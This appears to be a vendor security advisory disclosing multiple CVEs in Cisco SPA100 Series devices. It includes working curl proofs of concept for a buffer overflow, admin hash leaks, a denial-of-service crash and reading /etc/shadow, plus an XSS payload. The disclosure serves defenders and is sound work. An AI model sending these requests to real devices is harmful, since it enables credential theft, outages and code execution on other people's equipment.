Tenable discovered multiple vulnerabilities in Cisco SPA100 Series.
CVE-2019-15240 - CVE-2019-15252: Multiple Buffer Overflows (Remote Code Execution)
Multiple buffer overflow vulnerabilities (on the stack and heap) can be triggered via a crafted HTTP request.
An authenticated attacker may exploit these to execute code remotely.
Proof of Concept
Note: This is just one way to trigger a buffer overflow.
curl -i -s -k -X $'POST' \
-H $'Host: 192.168.1.122' -H $'Content-Length: 188' -H $'Content-Type: application/x-www-form-urlencoded' \
--data-binary $'\x0d\x0asubmit_button=Remote_access&submit_type=del_remote&change_action=gozila_cgi&remove_id=Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A' \
$'http://192.168.1.122/apply.cgi;session_id=f48ce7c27d0f652fd031191450819cbe'
We have also published a full exploit to our GitHub PoC repo (https://github.com/tenable/poc/blob/master/cisco/spagett.py).
CVE-2019-12708: Submit Button Arbitrary ASP Page Render Administrator Hash Leak Privilege Escalation
By sending a POST request to apply.cgi with a submit_button value of 'User_Level', an authenticated attacker
may reveal the admin password hashes. The admin hash will be in the body of the response, and this value
can be used to elevate privileges.
Proof of Concept
curl -i -s -k -X $'POST' \
-H $'Host: 50.71.132.182' -H $'Content-Length: 49' -H $'Content-Type: application/x-www-form-urlencoded' \
--data-binary $'submit_button=User_Level&change_action=gozila_cgi' \
$'http://50.71.132.182/apply.cgi;session_id=8bc7ff856b23540d2737e266b94640bd'
CVE-2019-15257: Configuration Backup Administrator Hash Leak Privilege Escalation
By performing an HTTP GET for /a.cfg, an encoded copy of the NVRAM configuration will be returned. This is trivial to decode and
includes the admin hash and cisco hash which you can use to log in. An authenticated attacker could exploit this
to escalate privileges.
CVE-2019-15258: Add Favorite Help Index Denial of Service
A authenticated request sent to apply.cgi with a value for 'help_page' but without a 'help_idx' will cause a crash. It causes a null pointer dereference in httpd. Device needs to be rebooted in order to get httpd running again.
Proof of Concept
curl -i -s -k -X $'POST' \
-H $'Host: 192.168.1.123' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 93' \
--data-binary $'submit_button=help/help&submit_type=fav_add&change_action=gozila_cgi&help_page=1' \
$'http://192.168.1.123/apply.cgi;session_id=a534c87e1fe5d0f49498cd9cbed1d4cd'
CVE-2019-12702: GUI Action Reflected Cross-Site Scripting
The apply.cgi 'gui_action' POST parameter value is not validated prior to reflecting its value in the browser. An authenticated attacker
may exploit this to inject and execute malicious client-side JavaScript.
Proof of Concept
gui_action=--><script><img src=x onerror=alert(‘xss’)></script><!--
CVE-2019-12703: Stored Cross-Site Scripting via DHCP
The DHCP client (which runs on the SPA122’s “Internet” port, or the only port of the SPA112) accepts and displays the DHCP “domain-name” option in the Web UI without any escaping or validation, leading to XSS.
A malicious DHCP server could use this to steal administrator credentials, if the administrator logs on and views the malicious DHCP server configuration, which includes Javascript in the domain-name parameter.
The XSS is triggered by visiting Status > System Information page.
The SPA122’s DHCP server (SPA112 does not have this feature) will accept and display DHCP client hostnames in the Web UI, leading to XSS. An attacker could exploit this by sending a crafted DHCP client hostname. The XSS can be triggered by visiting Status > DHCP Server Information.
CVE-2019-12704: Next Page Arbitrary File Disclosure
The next_page parameter value can be crafted to reveal the contents of an arbitrary file path on disk. This
may be exploited by an authenticated attacker.
Note: this can also be used to elevate privileges by reading /www/User_Level.asp.
Proof of Concept:
curl -i -s -k -X $'POST' \
-H $'Host: 192.168.1.122' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 81' \
--data-binary $'submit_button=hax&submit_type=hax&change_action=gozila_cgi&next_page=/etc/shadow' \
$'http://192.168.1.122/apply.cgi;session_id=73320cc2a9534cfeb0e6141f9ed52bb8'